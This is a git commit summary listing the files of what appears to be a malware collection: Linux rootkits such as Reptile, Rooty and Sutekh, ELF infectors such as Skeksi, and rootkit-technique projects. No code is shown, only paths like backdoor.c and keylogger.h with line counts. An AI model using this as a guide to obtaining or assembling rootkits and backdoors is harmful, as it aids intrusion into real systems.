Linux/Rootkits/Randkit/zero/randkit_zero.c | 227 ++ Linux/Rootkits/Reptile/.gitignore | 1 + Linux/Rootkits/Reptile/Kconfig | 90 + Linux/Rootkits/Reptile/Makefile | 67 + Linux/Rootkits/Reptile/README.md | 73 + Linux/Rootkits/Reptile/configs/defconfig | 45 + Linux/Rootkits/Reptile/kernel/Kbuild | 39 + Linux/Rootkits/Reptile/kernel/backdoor.c | 266 ++ Linux/Rootkits/Reptile/kernel/dir.c | 21 + .../Rootkits/Reptile/kernel/encrypt/encrypt.c | 52 + Linux/Rootkits/Reptile/kernel/file.c | 65 + .../Reptile/kernel/include/backdoor.h | 1 + .../Rootkits/Reptile/kernel/include/config.h | 26 + Linux/Rootkits/Reptile/kernel/include/dir.h | 1 + .../Rootkits/Reptile/kernel/include/encrypt.h | 20 + Linux/Rootkits/Reptile/kernel/include/file.h | 16 + .../Rootkits/Reptile/kernel/include/module.h | 1 + .../Rootkits/Reptile/kernel/include/network.h | 12 + Linux/Rootkits/Reptile/kernel/include/proc.h | 17 + .../Reptile/kernel/include/string_helpers.h | 18 + Linux/Rootkits/Reptile/kernel/include/util.h | 89 + Linux/Rootkits/Reptile/kernel/khook/engine.c | 153 + Linux/Rootkits/Reptile/kernel/khook/engine.h | 46 + .../Rootkits/Reptile/kernel/khook/engine.lds | 8 + .../Rootkits/Reptile/kernel/khook/internal.h | 60 + .../Reptile/kernel/khook/x86/.gitignore | 2 + .../Reptile/kernel/khook/x86/Makefile | 12 + .../Reptile/kernel/khook/x86/README.md | 1 + .../Rootkits/Reptile/kernel/khook/x86/hook.c | 83 + .../Rootkits/Reptile/kernel/khook/x86/stub.S | 56 + .../Reptile/kernel/khook/x86/stub.inc | 14 + .../Reptile/kernel/khook/x86/stub32.inc | 7 + .../Reptile/kernel/kmatryoshka/Kbuild | 11 + .../Reptile/kernel/kmatryoshka/kmatryoshka.c | 84 + Linux/Rootkits/Reptile/kernel/loader/loader.c | 37 + Linux/Rootkits/Reptile/kernel/main.c | 482 ++++ Linux/Rootkits/Reptile/kernel/module.c | 39 + Linux/Rootkits/Reptile/kernel/network.c | 78 + Linux/Rootkits/Reptile/kernel/proc.c | 144 + .../Rootkits/Reptile/kernel/string_helpers.c | 264 ++ Linux/Rootkits/Reptile/kernel/util.c | 115 + Linux/Rootkits/Reptile/scripts/bashrc | 59 + Linux/Rootkits/Reptile/scripts/destringify.pl | 37 + Linux/Rootkits/Reptile/scripts/installer.sh | 65 + .../scripts/kconfig/.pc/.quilt_patches | 1 + .../Reptile/scripts/kconfig/.pc/.quilt_series | 1 + .../Reptile/scripts/kconfig/.pc/.version | 1 + .../.timestamp | 0 .../confdata.c | 1239 ++++++++ .../gconf.glade | 661 +++++ .../mconf.c | 1037 +++++++ .../qconf.cc | 1795 ++++++++++++ .../zconf.tab.c_shipped | 2538 +++++++++++++++++ .../zconf.y | 733 +++++ .../.pc/10-br-build-system.patch/.timestamp | 0 .../.pc/10-br-build-system.patch/Makefile.br | 0 .../.pc/10-br-build-system.patch/foo.h | 0 .../100-kconfig-generic-env.patch/.timestamp | 0 .../100-kconfig-generic-env.patch/Makefile | 319 +++ .../.pc/100-kconfig-generic-env.patch/conf.c | 717 +++++ .../100-kconfig-generic-env.patch/confdata.c | 1272 +++++++++ .../.pc/100-kconfig-generic-env.patch/expr.h | 238 ++ .../100-kconfig-generic-env.patch/gconf.glade | 661 +++++ .../.pc/100-kconfig-generic-env.patch/lkc.h | 199 ++ .../.pc/100-kconfig-generic-env.patch/mconf.c | 1037 +++++++ .../merge_config.sh | 150 + .../100-kconfig-generic-env.patch/qconf.cc | 1795 ++++++++++++ .../zconf.tab.c_shipped | 2538 +++++++++++++++++ .../.pc/100-kconfig-generic-env.patch/zconf.y | 733 +++++ .../.pc/101-kconfig-build.patch/.timestamp | 0 .../.pc/101-kconfig-build.patch/GNUmakefile | 0 .../.pc/101-kconfig-build.patch/README | 0 .../.pc/101-kconfig-build.patch/config.sh | 0 .../.timestamp | 0 .../lxdialog/check-lxdialog.sh | 87 + .../12-fix-glade-file-path.patch/.timestamp | 0 .../.pc/12-fix-glade-file-path.patch/gconf.c | 1542 ++++++++++ .../.timestamp | 0 .../conf.c | 718 +++++ .../confdata.c | 1239 ++++++++ .../util.c | 159 ++ .../15-fix-qconf-moc-rule.patch/.timestamp | 0 .../.pc/15-fix-qconf-moc-rule.patch/Makefile | 322 +++ .../.timestamp | 0 .../lxdialog/menubox.c | 437 +++ .../scripts/kconfig/.pc/applied-patches | 9 + .../Reptile/scripts/kconfig/GNUmakefile | 60 + .../Rootkits/Reptile/scripts/kconfig/Makefile | 324 +++ .../Reptile/scripts/kconfig/Makefile.br | 60 + .../Reptile/scripts/kconfig/POTFILES.in | 12 + .../Reptile/scripts/kconfig/README.buildroot | 20 + .../Rootkits/Reptile/scripts/kconfig/check.sh | 14 + Linux/Rootkits/Reptile/scripts/kconfig/conf.c | 717 +++++ .../Reptile/scripts/kconfig/confdata.c | 1272 +++++++++ .../Reptile/scripts/kconfig/config.sh | 26 + Linux/Rootkits/Reptile/scripts/kconfig/expr.c | 1168 ++++++++ Linux/Rootkits/Reptile/scripts/kconfig/expr.h | 238 ++ Linux/Rootkits/Reptile/scripts/kconfig/foo.h | 12 + .../Rootkits/Reptile/scripts/kconfig/gconf.c | 1542 ++++++++++ .../Reptile/scripts/kconfig/gconf.glade | 661 +++++ .../Rootkits/Reptile/scripts/kconfig/images.c | 326 +++ .../Reptile/scripts/kconfig/kxgettext.c | 235 ++ Linux/Rootkits/Reptile/scripts/kconfig/list.h | 131 + Linux/Rootkits/Reptile/scripts/kconfig/lkc.h | 214 ++ .../Reptile/scripts/kconfig/lkc_proto.h | 57 + .../scripts/kconfig/lxdialog/.gitignore | 4 + .../scripts/kconfig/lxdialog/BIG.FAT.WARNING | 4 + .../kconfig/lxdialog/check-lxdialog.sh | 87 + .../scripts/kconfig/lxdialog/checklist.c | 332 +++ .../Reptile/scripts/kconfig/lxdialog/dialog.h | 257 ++ .../scripts/kconfig/lxdialog/inputbox.c | 301 ++ .../scripts/kconfig/lxdialog/menubox.c | 437 +++ .../scripts/kconfig/lxdialog/textbox.c | 408 +++ .../Reptile/scripts/kconfig/lxdialog/util.c | 713 +++++ .../Reptile/scripts/kconfig/lxdialog/yesno.c | 114 + .../Rootkits/Reptile/scripts/kconfig/mconf.c | 1037 +++++++ Linux/Rootkits/Reptile/scripts/kconfig/menu.c | 694 +++++ .../Reptile/scripts/kconfig/merge_config.sh | 151 + .../Rootkits/Reptile/scripts/kconfig/nconf.c | 1557 ++++++++++ .../Reptile/scripts/kconfig/nconf.gui.c | 656 +++++ .../Rootkits/Reptile/scripts/kconfig/nconf.h | 96 + .../01-kconfig-kernel-to-buildroot.patch | 107 + .../06-br-build-system-integration.patch | 35 + .../kconfig/patches/10-br-build-system.patch | 80 + .../patches/100-kconfig-generic-env.patch | 282 ++ .../kconfig/patches/101-kconfig-build.patch | 157 + .../patches/11-use-mktemp-for-lxdialog.patch | 17 + .../patches/12-fix-glade-file-path.patch | 17 + .../14-support-out-of-tree-config.patch | 207 ++ .../patches/15-fix-qconf-moc-rule.patch | 24 + .../16-fix-space-to-de-select-options.patch | 41 + .../Reptile/scripts/kconfig/patches/series | 9 + .../Rootkits/Reptile/scripts/kconfig/qconf.cc | 1795 ++++++++++++ .../Rootkits/Reptile/scripts/kconfig/qconf.h | 338 +++ .../scripts/kconfig/streamline_config.pl | 640 +++++ .../Rootkits/Reptile/scripts/kconfig/symbol.c | 1373 +++++++++ Linux/Rootkits/Reptile/scripts/kconfig/util.c | 171 ++ .../Reptile/scripts/kconfig/zconf.gperf | 47 + .../scripts/kconfig/zconf.hash.c_shipped | 286 ++ .../Rootkits/Reptile/scripts/kconfig/zconf.l | 363 +++ .../scripts/kconfig/zconf.lex.c_shipped | 2420 ++++++++++++++++ .../scripts/kconfig/zconf.tab.c_shipped | 2538 +++++++++++++++++ .../Rootkits/Reptile/scripts/kconfig/zconf.y | 733 +++++ .../Rootkits/Reptile/scripts/lib/Unescape.pm | 228 ++ Linux/Rootkits/Reptile/scripts/random.sh | 24 + Linux/Rootkits/Reptile/scripts/rule | 1 + Linux/Rootkits/Reptile/scripts/start | 22 + Linux/Rootkits/Reptile/userland/Makefile | 54 + .../Rootkits/Reptile/userland/client/client.c | 604 ++++ .../Reptile/userland/client/listener.c | 808 ++++++ .../Rootkits/Reptile/userland/client/packet.c | 464 +++ Linux/Rootkits/Reptile/userland/cmd.c | 187 ++ Linux/Rootkits/Reptile/userland/crypto/aes.c | 646 +++++ Linux/Rootkits/Reptile/userland/crypto/sha1.c | 331 +++ Linux/Rootkits/Reptile/userland/include/aes.h | 22 + .../Reptile/userland/include/config.h | 13 + .../Reptile/userland/include/custom_rol32.h | 15 + Linux/Rootkits/Reptile/userland/include/pel.h | 24 + .../Rootkits/Reptile/userland/include/sha1.h | 22 + .../Rootkits/Reptile/userland/include/util.h | 64 + Linux/Rootkits/Reptile/userland/shell.c | 495 ++++ .../Rootkits/Reptile/userland/transport/pel.c | 445 +++ Linux/Rootkits/Rooty/Makefile | 9 + Linux/Rootkits/Rooty/Module.symvers | 0 Linux/Rootkits/Rooty/README.md | 43 + Linux/Rootkits/Rooty/art/init.png | Bin 0 -> 141906 bytes Linux/Rootkits/Rooty/art/ioctl-control.png | Bin 0 -> 207821 bytes Linux/Rootkits/Rooty/art/keylogger.png | Bin 0 -> 139594 bytes Linux/Rootkits/Rooty/art/ssh-access.png | Bin 0 -> 13869 bytes Linux/Rootkits/Rooty/art/ssh-init.png | Bin 0 -> 7054 bytes Linux/Rootkits/Rooty/art/ssh-init2.png | Bin 0 -> 170585 bytes Linux/Rootkits/Rooty/art/vncd-init.png | Bin 0 -> 18394 bytes Linux/Rootkits/Rooty/art/vncd-running.png | Bin 0 -> 698583 bytes .../docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf | Bin 0 -> 1534226 bytes .../Praca Inżynierska - Karol Celebi.pdf | Bin 0 -> 2007726 bytes Linux/Rootkits/Rooty/init | 14 + Linux/Rootkits/Rooty/ioctl.h | 224 ++ Linux/Rootkits/Rooty/ioctl/Makefile | 7 + Linux/Rootkits/Rooty/ioctl/ioctl | Bin 0 -> 11592 bytes Linux/Rootkits/Rooty/ioctl/ioctl.c | 282 ++ Linux/Rootkits/Rooty/keylogger.h | 229 ++ Linux/Rootkits/Rooty/keymap.h | 414 +++ Linux/Rootkits/Rooty/modules.order | 1 + Linux/Rootkits/Rooty/ping.py | 58 + Linux/Rootkits/Rooty/proc_fs_hide.h | 252 ++ Linux/Rootkits/Rooty/rooty | 0 Linux/Rootkits/Rooty/rooty.c | 132 + Linux/Rootkits/Rooty/rooty.ko | Bin 0 -> 28332 bytes Linux/Rootkits/Rooty/rooty.mod.c | 76 + Linux/Rootkits/Rooty/rooty.mod.o | Bin 0 -> 4704 bytes Linux/Rootkits/Rooty/rooty.o | Bin 0 -> 25104 bytes Linux/Rootkits/Rooty/socket_hide.h | 251 ++ Linux/Rootkits/Rooty/ssh.h | 163 ++ Linux/Rootkits/Rooty/sshd/Makefile | 7 + Linux/Rootkits/Rooty/sshd/sshd | Bin 0 -> 434347 bytes Linux/Rootkits/Rooty/sshd/sshd.c | 369 +++ Linux/Rootkits/Rooty/syscall_table.h | 200 ++ Linux/Rootkits/Rooty/vnc.h | 60 + Linux/Rootkits/Rooty/vncd/Makefile | 7 + Linux/Rootkits/Rooty/vncd/vnc-server.c | 116 + Linux/Rootkits/Rooty/vncd/vncd | Bin 0 -> 790984 bytes .../Rootkits/Self Titled Project 4/.gitignore | 29 + Linux/Rootkits/Self Titled Project 4/Makefile | 9 + .../Rootkits/Self Titled Project 4/README.md | 33 + .../Rootkits/Self Titled Project 4/README.txt | 22 + .../Rootkits/Self Titled Project 4/rootkit.c | 510 ++++ .../Self Titled Project 4/testRootPart.c | 29 + Linux/Rootkits/Sutekh/Makefile | 7 + Linux/Rootkits/Sutekh/README.TXT | 31 + Linux/Rootkits/Sutekh/rootswitch.c | 11 + Linux/Rootkits/Sutekh/sutekh.c | 142 + 792 files changed, 82555 insertions(+) create mode 100644 Linux/Infectors/Cranky-data/LICENSE create mode 100644 Linux/Infectors/Cranky-data/README.md create mode 100644 Linux/Infectors/Cranky-data/cranky_data_virus.asm create mode 100644 Linux/Infectors/Skeksi/Makefile create mode 100644 Linux/Infectors/Skeksi/README.md create mode 100644 Linux/Infectors/Skeksi/disinfect/Makefile create mode 100644 Linux/Infectors/Skeksi/disinfect/disinfect.c create mode 100644 Linux/Infectors/Skeksi/virus.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/.gitignore create mode 100644 Linux/Rootkit Techniques/DrawBridge/LICENSE create mode 100644 Linux/Rootkit Techniques/DrawBridge/README.md create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py create mode 100644 Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml create mode 100644 Linux/Rootkit Techniques/DrawBridge/img/example.gif create mode 100644 Linux/Rootkit Techniques/DrawBridge/img/logo.PNG create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/Makefile create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/compat.h create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/utils.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/README.md create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/src/crypto.rs create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/src/drawbridge.rs create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/src/main.rs create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/src/protocols.rs create mode 100644 Linux/Rootkit Techniques/DrawBridge/tools/src/route.rs create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.cirrus.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.clang-format create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.editorconfig create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.github/workflows/ci.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/.gitignore create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/LICENSE create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/common/common.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/freebsd/freebsd.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/genprofiles create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/gentable create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/krfctl.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/linux/linux.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfctl/profiles.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/freebsd/freebsd.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/krfexec.h create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfexec/linux/linux.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/Makefile create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/freebsd/krfmesg.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/krfmesg.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/krfmesg/linux/krfmesg.c create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__getcwd.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__semctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/__setugid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/accept4.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/access.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/acct.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/adjtime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_cancel.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_error.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_fsync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_mlock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_read.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_return.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_suspend.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_waitcomplete.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/aio_write.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/audit.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/auditon.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bind.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/bindat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflags.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chflagsat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chmod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/chroot.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getcpuclockid2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_getres.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_gettime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_nanosleep.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/clock_settime.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/close.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/closefrom.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/codegen create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connect.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/connectat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getaffinity.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getdomain.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_getid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setaffinity.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setdomain.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/cpuset_setid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/dup2.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/eaccess.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/execve.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/faccessat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchdir.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchflags.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmod.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchmodat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchown.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fchownat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fcntl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fdatasync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fexecve.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getcounter.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_getestimate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ffclock_setestimate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhopen.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fhstatfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/flock.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fork.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fpathconf.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fstatfs.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/fsync.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ftruncate.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimens.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimes.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/futimesat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getaudit.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getauid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getdirentries.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfh.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getfsstat.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getgroups.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getitimer.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getlogin.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getloginclass.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpeername.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getpriority.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrandom.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresgid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getresuid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getrusage.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml create mode 100644 Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml 